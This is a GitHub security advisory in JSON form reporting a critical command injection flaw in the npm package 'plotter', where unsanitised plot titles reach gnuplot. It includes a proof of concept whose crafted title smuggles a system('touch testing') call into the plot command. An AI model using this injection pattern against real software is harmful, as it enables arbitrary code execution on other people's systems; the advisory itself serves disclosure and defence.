{"id":"GHSA-65xx-c85x-wg76","summary":"Command Injection in plotter","details":"All versions of `plotter` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar plot = require('plotter').plot;\n\nconst title = 'Example \"\\nset title system(\"touch testing\")#';\n\nplot({\ndata: [ 3, 1, 2, 3, 4 ],\nfilename: 'output.pdf',\nstyle: 'linespoints',\ntitle: title,\nlogscale: true,\nxlabel: 'time',\nylabel: 'length of string',\nformat: 'pdf'\n});\n\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","modified":"2020-08-31T18:59:26Z","published":"2020-09-04T17:20:52Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2020-08-31T18:59:26Z","nvd_published_at":null,"cwe_ids":["CWE-77"]},"references":[{"type":"WEB","url":"https://www.npmjs.com/advisories/1441"}],"affected":[{"package":{"name":"plotter","ecosystem":"npm","purl":"pkg:npm/plotter"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-65xx-c85x-wg76/GHSA-65xx-c85x-wg76.json"}}],"schema_version":"1.9.0"}